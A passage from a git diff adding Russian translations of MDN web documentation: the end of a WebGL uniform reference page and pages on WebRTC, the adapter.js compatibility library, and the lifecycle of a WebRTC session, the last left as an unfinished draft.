+gl.uniform1i (sampler2DUniformLoc, v); // для sampler2D (текстуры)
+gl.uniform1iv(sampler2DUniformLoc, [v]); // для sampler2D или массива sampler2D
+
+
+gl.uniform1i (samplerCubeUniformLoc, v); // для samplerCube (текстуры)
+gl.uniform1iv(samplerCubeUniformLoc, [v]); // для samplerCube или массива samplerCube
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>location</dt>
+ <dd>{{domxref("WebGLUniformLocation")}} объект содержащий uniform атрибут для его изменения.</dd>
+ <dt><code>value, v0, v1, v2, v3</code></dt>
+ <dd>Новое значение для uniform переменной. Допустимые типы:
+ <ul>
+  <li>Тип float {{jsxref("Number")}} для этого типа (методы с "f").</li>
+  <li>Последовательность чисел с плавающей точкой (пример {{jsxref("Float32Array")}} или {{jsxref("Array")}} чисел) fдля векторных методов с плавающей точкой (методы с "fv").</li>
+  <li>Тип  {{jsxref("Number")}} для этого типа (методы с "i").</li>
+  <li>{{jsxref("Int32Array")}} вектор чисел {{jsxref("Number")}} (методы с "iv").</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Возвращаемое_значение"><span style="background-color: #333333; letter-spacing: -0.00278rem;">Возвращаемое значение </span></h3>
+
+<p><span style="background-color: #ffffff; color: #333333; font-family: Arial,x-locale-body,sans-serif; font-size: 1rem; letter-spacing: -0.00278rem;">None.</span></p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">GL.uniform1f(GL.getUniformLocation(PROGRAM,'u_time'), timeStamp/1000.0)</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.10", "uniform")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glUniform.xml", "glUniform")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Main page of the OpenGL API.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправить нам запрос на слияние.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.uniform1f")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.uniformMatrix()")}}</li>
+</ul>
diff --git a/files/ru/web/api/webrtc_api/adapter.js/index.html b/files/ru/web/api/webrtc_api/adapter.js/index.html
new file mode 100644
index 0000000000..97e09d25e2
--- /dev/null
+++ b/files/ru/web/api/webrtc_api/adapter.js/index.html
@@ -0,0 +1,42 @@
+---
+title: Увеличиваем совместимость с WebRTC adapter.js
+slug: Web/API/WebRTC_API/adapter.js
+tags:
+  - adapter.js
+translation_of: Web/API/WebRTC_API/adapter.js
+---
+<p>{{WebRTCSidebar}}</p>
+
+<p>Несмотря на то, что WebRTC <a href="http://www.w3.org/TR/webrtc/">спецификация</a> относительно стабильна, не все еще браузеры полностью реализуют её функциональность. Некоторые реализации в браузерах все еще содержат префексы производителей в некоторых, или даже всех WebRTC интерфейсах, и разработчик может самостоятельно, в ручную, учесть вопросы несовместимости в своем коде. Но есть более простой выход. Организация <span class="seoSummary">WebRTC</span> <span class="seoSummary"><a href="https://github.com/webrtc/adapter/">предлагает библиотеку adapter.js</a> для обработки вопросов несовместимостей в различных браузерных реализациях WebRTC. Эта библиотека является JavaScript клином, позволяющим писать код в соответствии со спецификацией, чтобы он работал во всех браузерах с различным уровнем поддержки WebRTC. С ней нет необходимости условно использовать префиксные интерфейсы или реализовывать обходные пути</span></p>
+
+<div class="note">
+<p><strong>Примечание :</strong> Поскольку функциональность и названия API-терминов в WebRTC и поддерживаемых браузерах постоянно изменяются, обычно рекомендуется использовать этот адаптер.</p>
+</div>
+
+<p>Адаптер предоставляется по лицензии <a href="https://github.com/webrtc/adapter/blob/master/LICENSE.md">BSD-style license</a>.</p>
+
+<h2 id="Как_работает_adapter.js">Как работает adapter.js</h2>
+
+<p>Для каждой версии  браузера, поддерживающего WebRTC, <code>adapter.js</code> реализует необходимые полизаполнители, устанавливает имена API без префиксов и применяет любые другие изменения, необходимые для того, чтобы браузер выполнял код, в сообтветствии со спецификацией WebRTC.</p>
+
+<p>Например, в версиях Firefox старше 38 адаптер добавляет свойство {{domxref ("RTCPeerConnection.urls")}}; Firefox изначально не поддерживает это свойство до Firefox 38, а в Chrome адаптер добавляет поддержку API {{jsxref ("Promise")}}, если он отсутствует. Это всего лишь пара примеров. Вот в кратце, какие корректировки производит библиотека.</p>
+
+<p>В настоящее время адаптер WebRTC поддерживает Mozilla Firefox, Google Chrome, Apple Safari и Microsoft Edge.</p>
+
+<h2 id="Использование_adapter.js">Использование adapter.js</h2>
+
+<p>Для того чтобы использовать <code>adapter.js</code>, вам нужно включить <code>adapter.js</code> в любую страницу, которая использует API WebRTC:</p>
+
+<ol>
+ <li>Скопируйте  <a href="https://github.com/webrtc/adapter/tree/master/release">последнюю версию adapter.js</a> с GitHub.</li>
+ <li>Поместите копию в структурную директорию вашего сайта (к примеру, в корневую директорию скриптов).</li>
+ <li>Поместите элемент скрипта со ссылкой на библиотеку <code>adapter.js</code> в ваш проект: <code>&lt;script src="adapter.js"&gt;&lt;/script&gt;</code></li>
+ <li>При кодировании, используйте интерфейсы WebRTC как указано в спецификации (без всяких префиксов производителей) , будучи уверенным, что он будет работать во всех браузерах .</li>
+ <li>Помните, что даже присутствие хорошего клина, не означает отмену тестирования вашего кода на различных браузерах (а идеально, и в различных версиях каждого браузера).</li>
+</ol>
+
+<h2 id="Смотри_так_же">Смотри так же</h2>
+
+<ul>
+ <li><a href="https://github.com/webrtc/adapter">Проект  WebRTC adapter.js на GitHub</a></li>
+</ul>
diff --git a/files/ru/web/api/webrtc_api/index.html b/files/ru/web/api/webrtc_api/index.html
new file mode 100644
index 0000000000..78971cd1df
--- /dev/null
+++ b/files/ru/web/api/webrtc_api/index.html
@@ -0,0 +1,195 @@
+---
+title: WebRTC API
+slug: Web/API/WebRTC_API
+translation_of: Web/API/WebRTC_API
+---
+<p>{{WebRTCSidebar}}</p>
+
+<p><span class="seoSummary"><strong>WebRTC</strong> (Web Real-Time Communications) - это технология, которая позволяет Web-приложениям и сайтам захватывать и выборочно передавать аудио и/или видео медиа-потоки, а также обмениваться произвольными данными между браузерами, без обязательного использования посредников. Набор стандартов, которые включает в себя технология WebRTC, позволяет обмениваться данными и проводить пиринговые телеконференции, без необходимости пользователю устанавливать плагины или любое другое стороннее программное обеспечение.</span></p>
+
+<p>WebRTC состоит из нескольких взаимосвязанных программных интерфейсов (API) и протоколов, которые работают вместе. Документация, которую вы здесь найдете, поможет вам понять основы WebRTC, как настроить и использовать соединение для передачи данных и медиа-потока, и многое другое.</p>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+<p>Поскольку реализация WebRTC находится в процессе становления, и каждый браузер имеет <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Media/Formats/WebRTC_codecs">различный уровень поддержки кодеков</a> и WebRTC функций, настоятельно рекомендуется использовать полифил-библиотеку <a href="https://github.com/webrtcHacks/adapter">Adapter.js</a> от Google до начала работы над вашим кодом.</p>
+
+<p>Adapter.js использует клинья и полифилы для гладкой стыковки различий в реализациях WebRTC среди контекстов, его поддерживающих. Adapter.js также обрабатывает префиксы производителей и иные различия именования свойств, облегчая процесс разработки на WebRTC с наиболее совместимым результатом. Библиотека также доступна как <a href="https://www.npmjs.com/package/webrtc-adapter">NPM пакет</a>.</p>
+
+<p>Для дальнейшего изучения библиотеки Adapter.js смотрите <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/adapter.js">Улучшаем совместимость при использовании WebRTC adapter.js</a>.</p>
+
+<h2 id="Понятия_и_использование_WebRTC">Понятия и использование WebRTC </h2>
+
+<p>WebRTC является многоцелевым и вместе с <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams API</a>, предоставляют мощные мультимедийные возможности для Web, включая поддержку аудио и видео конференций, обмен файлами, захват экрана, управление идентификацией и взаимодействие с  устаревшими телефонными системами, включая поддержку передачи сигналов тонового набора {{Glossary("DTMF")}}. Соединения между узлами могут создаваться без использования специальных драйверов или плагинов, и часто без промежуточных сервисов.</p>
+
+<p>Соединение между двумя узлами представлено как объект интерфейса  {{DOMxRef("RTCPeerConnection")}}. Как только соединение установлено и открыто, используя объект <code>RTCPeerConnection</code>, медиапотоки ({{DOMxRef("MediaStream")}}s) и/или каналы данных ({{DOMxRef("RTCDataChannel")}}s) могут быть добавлены в соединение.</p>
+
+<p>Медиа потоки могут состоять из любого количества треков (дорожек) медиаинформации. Эти треки, представлены объектами интерфейса  {{DOMxRef("MediaStreamTrack")}} , и могут содержать один или несколько типов медиаданных, включая аудио, видео, текст (такие как субтитры или название глав). Большинство потоков состоят, как минимум, только из одного аудио трека (одной аудио дорожки), или видео дорожки, и могут быть отправлены и получены, как потоки (медиаданные в настоящим времени) или сохранены в файл.</p>
+
+<p>Так же, можно использовать соединение между двумя узлами  для обмена произвольными данными, используя объект интерфейса {{DOMxRef("RTCDataChannel")}}, что может быть использовано для передачи служебной информации, биржевых данных , пакетов игровых статусов, передача файлов или закрытых каналов передачи данных.</p>
+
+<p><em><strong>more details and links to relevant guides and tutorials needed</strong></em></p>
+
+<h2 id="WebRTC_интерфейсы">WebRTC интерфейсы</h2>
+
+<p>По причине того, что WebRTC предоставляет интерфейсы, работающие совместно для выполнения различных задач, мы разделили их на категории. Смотрите алфавитный указатель боковой панели для быстрой навигации.</p>
+
+<h3 id="Настройка_соединения_и_управление">Настройка соединения и управление</h3>
+
+<p>Эти интерфейсы используются для настройки, открытия и управлением  WebRTC соединениями. Они представляют одноуровневые медиа соединения, каналы данных, и интерфейсы, использующиеся при обмене информацией о возможностях каждого узла, для выбора наилучшей конфигурации при установки двустороннего мультимедийного соединения.</p>
+
+<dl>
+ <dt>{{domxref("RTCPeerConnection")}}</dt>
+ <dd>Представляет  WebRTC соединение между локальным компьютером и удаленным узлом. Используется для обработки успешной передачи данных между двумя узлами.</dd>
+ <dt>{{domxref("RTCSessionDescription")}}</dt>
+ <dd>Представляет параметры сессии. Каждый <code>RTCSessionDescription </code>содержит описания <a href="/en-US/docs/Web/API/RTCSessionDescription/type">типа</a>, показывающего какую часть (предложение/ответ) процесса переговоров он описывает, и <a href="/en-US/docs/Glossary/SDP">SDP</a>-дескриптор сессии<code>.</code></dd>
+ <dt>{{domxref("RTCIceCandidate")}}</dt>
+ <dd>Представляет собой кандидата сервера установки интернет соединения (ICE)  для установленовки соединения {{domxref("RTCPeerConnection")}}.</dd>
+ <dt>{{domxref("RTCIceTransport")}}</dt>
+ <dd>Представляет информацию о средстве подключения к Интернету (ICE).</dd>
+ <dt>{{domxref("RTCPeerConnectionIceEvent")}}</dt>
+ <dd>Представляет события, которые происходят в отношении кандидатов ICE, обычно {{domxref ("RTCPeerConnection")}}. Один тип передается данному объекту события: {{event ("icecandidate")}}.</dd>
+ <dt>{{domxref("RTCRtpSender")}}</dt>
+ <dd>Управляет кродированием и передачей данных через объект типа  {{domxref("MediaStreamTrack")}} для объекта типа {{domxref("RTCPeerConnection")}}.</dd>
+ <dt>{{domxref("RTCRtpReceiver")}}</dt>
+ <dd>Управляет получением и декодированием данных через объект типа {{domxref("MediaStreamTrack")}} для объекта типа {{domxref("RTCPeerConnection")}}.</dd>
+ <dt>{{domxref("RTCTrackEvent")}}</dt>
+ <dd>Указывает на то, что новый входящий объект типа  {{domxref("MediaStreamTrack")}} был создан и объект типа {{domxref("RTCRtpReceiver")}} был добавлен в объект  {{domxref("RTCPeerConnection")}}.</dd>
+ <dt>{{domxref("RTCCertificate")}}</dt>
+ <dd>Представляет сертификат, который использует объект {{domxref("RTCPeerConnection")}}.</dd>
+ <dt>{{domxref("RTCDataChannel")}}</dt>
+ <dd>Представляет двунапрвленный канал данных между двумя узлами соединения.</dd>
+ <dt>{{domxref("RTCDataChannelEvent")}}</dt>
+ <dd>Представляет события, которые возникают при присоединении объекта типа  {{domxref("RTCDataChannel")}} к объекту типа {{domxref("RTCPeerConnection")}}. Один тип передается этому событию {{event("datachannel")}}.</dd>
+ <dt>{{domxref("RTCDTMFSender")}}</dt>
+ <dd>Управляет кодированием и передачей  двутональной мультичастотной  (DTMF) сигнализацией для объекта типа {{domxref("RTCPeerConnection")}}.</dd>
+ <dt>{{domxref("RTCDTMFToneChangeEvent")}}</dt>
+ <dd>Указывает на входящее событие изменение тона двутоновой мультичастотной сигнализации  (DTMF). Это событие не всплывает (если не указано иначе) и не является отменяемым (если не указано иначе).</dd>
+ <dt>{{domxref("RTCStatsReport")}}</dt>
+ <dd>Ассинхронно сообщает статус для переданного объекта типа  {{domxref("MediaStreamTrack")}} .</dd>
+ <dt>{{domxref("RTCIdentityProviderRegistrar")}}</dt>
+ <dd>Регистрирует провайдер идентификации (idP).</dd>
+ <dt>{{domxref("RTCIdentityProvider")}}</dt>
+ <dd>Активирует возможность браузеру запросить создание или проверку обяъвления идентификации.</dd>
+ <dt>{{domxref("RTCIdentityAssertion")}}</dt>
+ <dd>Представляет идентификатор удаленного узла текущего соединения. Если узел еще не установлен и подтвержден, ссылка на интерфейс вернет <code>null</code>. После установки не изменяется.</dd>
+ <dt>{{domxref("RTCIdentityEvent")}}</dt>
+ <dd>Представляет объект события объявление идентификатора провайдером идентификации  (idP). Событие объекта типа  {{domxref("RTCPeerConnection")}}. Один тип передается этому событию {{event("identityresult")}}.</dd>
+ <dt>{{domxref("RTCIdentityErrorEvent")}}</dt>
+ <dd>Представляет объект события ошибки, связанной с провайдером идентификации (idP). Событие объекта типа  {{domxref("RTCPeerConnection")}}. Два типа ошибки передаются этому событию : {{event("idpassertionerror")}} и {{event("idpvalidationerror")}}.</dd>
+</dl>
+
+<h2 id="Руководства">Руководства</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Architecture">Обзор архитектуры WebRTC</a></dt>
+ <dd>Под API, который применяют разработчики, чтобы создавать и использовать WebRTC, расположен набор сетевых протоколов и стандартов соединения. Этот обзор - витрина этих стандартов.</dd>
+ <dt><a href="https://developer.mozilla.org/ru/docs/Web/API/WebRTC_API/Session_lifetime">Жизнь WebRTC-сессии</a></dt>
+ <dd>WebRTC позволяет вам организовать соединение в режиме узел-узел для передачи произвольных данных, аудио-, видео-потоков или любую их комбинацию в браузере. В этой статье мы взглянем на жизнь WebRTC-сессии, начиная с установки соединения и пройдем весь путь до его завершения, когда оно больше не нужно.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Overview">Обзор WebRTC API</a></dt>
+ <dd>WebRTC состоит из нескольких взаимосвязанных программных интерфейсов (API) и протоколов, которые работают вместе, чтобы обеспечить поддержку обмена данными и медиа-потоками между двумя и более узлами. В этой статье представлен краткий обзор каждого из этих API и какую цель он преследует.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/WebRTC_basics">Основы WebRTC</a></dt>
+ <dd>Эта статья проведет вас через создание кросс-браузерного RTC-приложения. К концу этой статьи вы должны иметь работающий дата- и медиа-канал, работающий в режиме точка-точка.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Protocols">Протоколы WebRTC</a></dt>
+ <dd>В этой статье представлены протоколы, в дополнение к которым создан API WebRTC.</dd>
+</dl>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Using_data_channels">Использование каналов данных в WebRTC</a></dt>
+ <dd>Это руководство описывает как вы можете использовать соединение узел-узел и связанный {{domxref("RTCDataChannel")}} для обмена произвольными данными между двумя узлами.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Connectivity">Взаимосвязи WebRTC</a></dt>
+ <dd>В этой статье описано то, как протоколы, связанные с WebRTC, взаимодействуют друг с другом для того, чтобы создать соединение и передавать данные и/или медиа-потоки между узлами.</dd>
+</dl>
+
+<h2 id="Учебные_материалы">Учебные материалы</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/adapter.js">Увеличение совместимости, используя WebRTC adapter.js</a></dt>
+ <dd>Организация WebRTC  <a href="https://github.com/webrtc/adapter/">предлагает на GitHub библиотеку adapter.js</a> для решения вопросов совместимости WebRTC реализаций в различных браузерах. Эта библиотека является JavaScript клином, который позволяет писать код, согласно спецификации, так, что бы он просто взял, и заработал во всех браузерах с поддержкой  WebRTC, не смотря на проблемы совместимости браузеров.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Taking_still_photos">Захват кадров с WebRTC</a></dt>
+ <dd>Статья описывает как использовать WebRTC для получения доступа к камере на компьютере или мобильном устройстве с поддержкой  WebRTC, и захват кадров с его помощью.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Simple_RTCDataChannel_sample">Простой пример канала данных RTCDataChannel</a></dt>
+ <dd>Интерфейс {{domxref("RTCDataChannel")}}  - это функциональность, которая позволяет открыть канал передачи данных между двумя узлами, по которому можно предавать произвольные данные. Эти API намеренно подобны  <a href="/en-US/docs/Web/API/WebSocket_API">WebSocket API</a>, так, что бы в обоих могла использоваться единая модель программирования.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Сигнализация и двухсторонние видео вызовы</a></dt>
+ <dd>Например, мы берем чат на веб сокете, который мы создали в другом примере, и добавляем в него способность создавать видео вызовы. Сервер чата расширяется функциональностью обработки WebRTC сигнализации.</dd>
+</dl>
+
+<h2 id="Ресурсы_2"><a id="Ресурсы" name="Ресурсы">Ресурсы</a></h2>
+
+<h3 id="Протоколы">Протоколы</h3>
+
+<h4 id="WebRTC-_текущие_протоколы">WebRTC- текущие протоколы</h4>
+
+<ul>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-alpn/"><cite>Протокол согласования соединения для Web RTC</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-audio/"><cite>WebRTC Аудио кодек и требования к обработке</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-data-channel/"><cite>RTCWeb Каналы данных</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-data-protocol/"><cite>RTCWeb Протокол канала данных</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-rtp-usage/"><cite>Связь в реальном времени (WebRTC): Медиа транспорт и использование RTP</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-security-arch/"><cite>WebRTC Безопасная архитектура</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-transports/"><cite>Транспорты для RTCWEB</cite></a></li>
+</ul>
+
+<h4 id="Связанные_поддерживающие_протоколы">Связанные поддерживающие протоколы</h4>
+
+<ul>
+ <li><a href="https://tools.ietf.org/html/rfc5245">Установка интерактивной связи (ICE): Протокол обхода транслятора сетевых адресов (NAT) при доставки объектов Offer/Answer</a></li>
+ <li><a href="https://tools.ietf.org/html/rfc5389"><cite>Сети обхода NAT (STUN)</cite></a></li>
+ <li><a href="https://tools.ietf.org/html/rfc7064"><cite>Схема URI для протокола сетей обхода  NAT (STUN)</cite></a></li>
+ <li><a href="https://tools.ietf.org/html/rfc7065"><cite>Traversal Using Relays around NAT (TURN) Uniform Resource Identifiers</cite></a></li>
+ <li><a href="https://tools.ietf.org/html/rfc3264"><cite>An Offer/Answer Model with Session Description Protocol (SDP)</cite></a></li>
+ <li><a href="https://datatracker.ietf.org/doc/draft-ietf-tram-turn-third-party-authz/"><cite>Session Traversal Utilities for NAT (STUN) Extension for Third Party Authorization</cite></a></li>
+</ul>
+
+<h4 id="WebRTC_статистика"><cite>WebRTC статистика</cite></h4>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/WebRTC_Statistics_API">WebRTC Statistics API</a></li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebRTC 1.0')}}</td>
+   <td>{{Spec2('WebRTC 1.0')}}</td>
+   <td>The initial definition of the API of WebRTC.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>The initial definition of the object conveying the stream of media content.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture DOM Elements')}}</td>
+   <td>{{Spec2('Media Capture DOM Elements')}}</td>
+   <td>The initial definition on how to obtain stream of content from DOM Elements</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>В дополнение к этим спецификациям, определяющим API, необходимый для использования WebRTC, имеется несколько протоколов, перечисленных в разделе <a href="#Ресурсы">ресурсы</a>.</p>
+
+<h2 class="Related_Topics" id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("MediaDevices")}}</li>
+ <li>{{domxref("MediaStreamEvent")}}</li>
+ <li>{{domxref("MediaStreamConstraints")}}</li>
+ <li>{{domxref("MediaStreamTrack")}}</li>
+ <li>{{domxref("MessageEvent")}}</li>
+ <li>{{domxref("MediaStream")}}</li>
+ <li><a href="https://hacks.mozilla.org/2015/06/firefox-multistream-and-renegotiation-for-jitsi-videobridge/">Firefox multistream and renegotiation for Jitsi Videobridge</a></li>
+ <li><a href="https://hacks.mozilla.org/2015/04/peering-through-the-webrtc-fog-with-socketpeer/">Peering Through the WebRTC Fog with SocketPeer</a></li>
+ <li><a href="https://hacks.mozilla.org/2014/04/inside-the-party-bus-building-a-web-app-with-multiple-live-video-streams-interactive-graphics/">Inside the Party Bus: Building a Web App with Multiple Live Video Streams + Interactive Graphics</a></li>
+</ul>
diff --git a/files/ru/web/api/webrtc_api/session_lifetime/index.html b/files/ru/web/api/webrtc_api/session_lifetime/index.html
new file mode 100644
index 0000000000..958fd99136
--- /dev/null
+++ b/files/ru/web/api/webrtc_api/session_lifetime/index.html
@@ -0,0 +1,90 @@
+---
+title: Жизнь WebRTC-сессии
+slug: Web/API/WebRTC_API/Session_lifetime
+translation_of: Web/API/WebRTC_API/Session_lifetime
+---
+<p>{{WebRTCSidebar}}{{draft}}</p>
+
+<div class="summary">
+<dl>
+ <dd>WebRTC позволяет браузерным приложениям построить соединение в режиме узел-узел для передачи произвольных данных, аудио-, видео-потоков или любую их комбинацию. В этой статье мы увидим то, как живет WebRTC-сессия, начиная с установки соединения и пройдём через весь путь до его завершения, если соединение больше не нужно.</dd>
+</dl>
+</div>
+
+<p>Эта статья не вдается в детали фактически использованных API в установке и обработке WebRTC-соединения. Это просто обзор процесса вцелом с некоторой информацией о том, для чего нужен каждый шаг. Смотрите статью <a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a>, чтобы получить пример с пошаговым объяснением того, что делает код.</p>
+
+<div class="note">
+<p>Эта страница находится в стадии разработки, и некоторое из содержания будут перемещаться на другие страницы, как направляющий материал. </p>
+
+<p>Вы можете помочь перевести документацию для других разработчиков. Пожалуйста принесите пользу миру и помогите с качественным переводом этой документации.</p>
+</div>
+
+<h2 id="Установка_соединения">Установка соединения</h2>
+
+<p>Интернет большой. Реально большой. Умные люди, несколько лет назад, заметив то, насколько он велик, каким большим он может стать и то как быстро растёт, а также ограничения 32-битной системы адресации протокола IP, и поняли, что нужно начать что-то делать, чтобы создать новую 64-битную систему адресации. Но в какой-то момент они так же пришли к выводу, что переход на новую систему займёт больше времени, чем продержатся 32-разрядные адреса. Затем другие умные люди придумали способ, позволяющий нескольким компьютерам использовать один и тот же 32-итный IP-адрес. Network Address Translation ({{Glossary("NAT")}}) - это стандарт, который поддерживает разделение адреса путем маршрутизации входящих и исходящих пакетов данных в и из локальной сети (LAN), которые разделяют единственный WAN (глобальный) адрес.</p>
+
+<p>Проблемой для пользователя является то, что каждый отдельный компьютер в сети Интернет не обязан иметь уникальный IP-адрес, и посути, IP-адрес устройства может измениться не только тогда, когда оно перемещяется из одной сети в другую, но и если их сетевой адрес был изменён {{Glossary("NAT")}} и/или {{interwiki("wikipedia", "DHCP")}}. Для разработчиков, пытающихся строить одноранговые сети, эта ситуация является хорошей головоломкой: без уникального идентификатора для каждого устройства, нет возможности моментально автоматически выяснить то, как подключиться к конкретному устройству в Интернет.  Если вызнаете, с кем вы хотите поговорить, вам не обязательно знать, какой адрес у вашего собеседника.</p>
+
+<p>Это похоже на попытку отправить письмо подруге Мишель, написав только на конверте слово "Мишель" и опустить в почтовый ящик. Вам необходимо выяснить её адрес и указать его на конверте, иначе она сильно удивится, почему вы забыли про её день рождения.</p>
+
+<p>Всё это входит в процесс сигнализации.</p>
+
+<h3 id="Процесс_Сигнализации">Процесс Сигнализации</h3>
+
+<p>Сигнализация - это процесс передачи управляющей информации между двумя устройствами для опредения протоколов связи, каналов, кодирования и формата медиа-данных,  методов передачи данных, а также информации, необходимой для маршрутизации. Наиболее важная вещь, о которой нужно знать о процессе сигнализации для WebRTC - <strong>этот процесс не определен в спецификации</strong>.</p>
+
+<p>Вы можете задаться вопросом, почему нечто основоположное для процесса установки WebRTC-соединения вынесено из спецификации? Ответ прост: потому как два устройства не могут контактировать друг с другом, и спецификация не может предусмотреть все возможные способы использования WebRTC, также это приобретает ещё больший смысл с точки зрения предоставления разработчику возможности выбора наиболее подходящей сетевой технологии и протоколов передачи сообщений.</p>
+
+<p>Для обмена сигнальной информацией, вы можете выбрать отправку JSON-объектов через WebSocket-соединение,  можете использовать протокол XMPP/SIP через соответствующий канал, так же можете использовать {{domxref("XMLHttpRequest")}} через {{Glossary("HTTPS")}}  с техникой пуллинга ({{Glossary("HTTPS")}} with polling), или же другие комбинации технологий, которые вам могут прийти в голову. Вы даже можете использовать электронную почту в качестве сигнального канала.</p>
+
+<p>Стоит также отметить, что сигнальный канал может вообще находиться вне компьютерной сети. Один узел может выпустить объект данных, который затем может быть распечатан на принтере, физически перемещается (пешком или голубиной почтой) до другого устройства, данные вводятся в устройство, ответ устройства затем возвращается обратно, так же пешком, и так далее, пока WebRTC-соединение между узлами открыто. В этом случае, будет очень высокая латентность, но этот сценарий возможен.</p>
+
+<h4 id="Обмен_информации_во_время_процесса_сигнализации">Обмен информации во время процесса сигнализации</h4>
+
+<p>Существует три основных типа информации, которой нужно обмениваться во время процесса сигнализации:</p>
+
+<ul>
+ <li>Управляющие сообщения, используемые для настройки, открытия и закрытия каналов коммуникации, а также для обработки ошибок</li>
+ <li>Информация, необходимая для того, чтобы настроить соединение: информация об IP-адресе и порте необходима узлам, чтобы они могли разговаривать друг с другом.</li>
+ <li>Необходимо согласовать медиа-потоки: какие могут использоваться между узлами кодеки и форматы медиа-данных? Все это необходимо согласовать дотого, как будет установлена WebRTC-сессия.</li>
+</ul>
+
+<p>Только после успешного завершения процесса сигнализации, может быть возможен процесс открытия WebRTC-соединения между узлами.</p>
+
+<p>Стоит также отметить, что сигнальному серверу не нужно понимать данные, которыми через него обмениваются между собой два узла, или что-нибудь с ними делать. Сигнальный сервер, по существу, является ретранслятором - общей точкой,  которую знают обе стороны могут к ней подключиться чтобы передавать данные через неё. Сервер не должен реагировать на передаваемую информацию ни коим образом.</p>
+
+<h4 id="Процесс_сигнализации">Процесс сигнализации</h4>
+
+<p>Существует последовательность действий, которую нужно выполнить, чтобы стало возможным начало WebRTC-сессии:</p>
+
+<ol>
+ <li>Каждый узел создает объект {{domxref("RTCPeerConnection")}}, представляющий собой WebRTC-сессию и сохраняющийся до её завершения.</li>
+ <li>Каждый узел устанавливает обработчик события {{event("icecandidate")}},которая занимается отправкой этих кандидатов в другую сторону по каналу сигнализации.</li>
+ <li>Каждый узел устанавливает обработчик события {{event("addstream")}}, которое срабатывает когда начинает приходить поток данных от удаленного узла. Этот обработчик должен подключить этот поток к потребителю, например к элементу {{HTMLElement("video")}}.</li>
+ <li>Вызывающий узел создает уникальный идентификатор, токен или нечто, что сможет идентифицировать вызов на сигнальном сервере, и обмениваться с принимающим узлом. Форма и содержимое идентификатора остается на усмотрение разработчика.</li>
+ <li>Каждый узел подключается к согласованному сигнальному серверу, такому например как известный обоим WebSocket-сервер, для обмена сообщениями.</li>
+ <li>Каждый узел сообщает сигнальному серверу, что хочет подключиться к одной и той же WebRTC-сессии (идентифицируемой токеном, определенным на шаге 4)</li>
+ <li><strong><em>descriptions, candidates, etc. -- more coming up</em></strong></li>
+</ol>
+
+<h2 id="Перезапуск_сессии_ICE_агент"><strong>Перезапуск сессии ICE агент</strong></h2>
+
+<p>Иногда, во время срока службы WebRTC сессии, сетевые условия изменяются. Один из пользователей, возможно, перейдет от сотовой сети к сети WiFi или сеть может стать перегруженной. Например: когда это произойдет, ICE агент может перезапустить сессию. Это процесс, с помощью которого сетевое соединение перезапустится и восстановится, точно таким же образом выполняется начальная установка сессии, за одним исключением того пока не установится новая сессия. Тогда сессия сменяется и переходит к новому сетевому соединению, а старое соединение закрывается.</p>
+
+<div class="note">
+<p>Различные браузеры поддерживают перезапуск сессии при разных условиях. Не все браузеры будут выполнять перезапуск сессии из-за перегрузки сети, например:</p>
+</div>
+
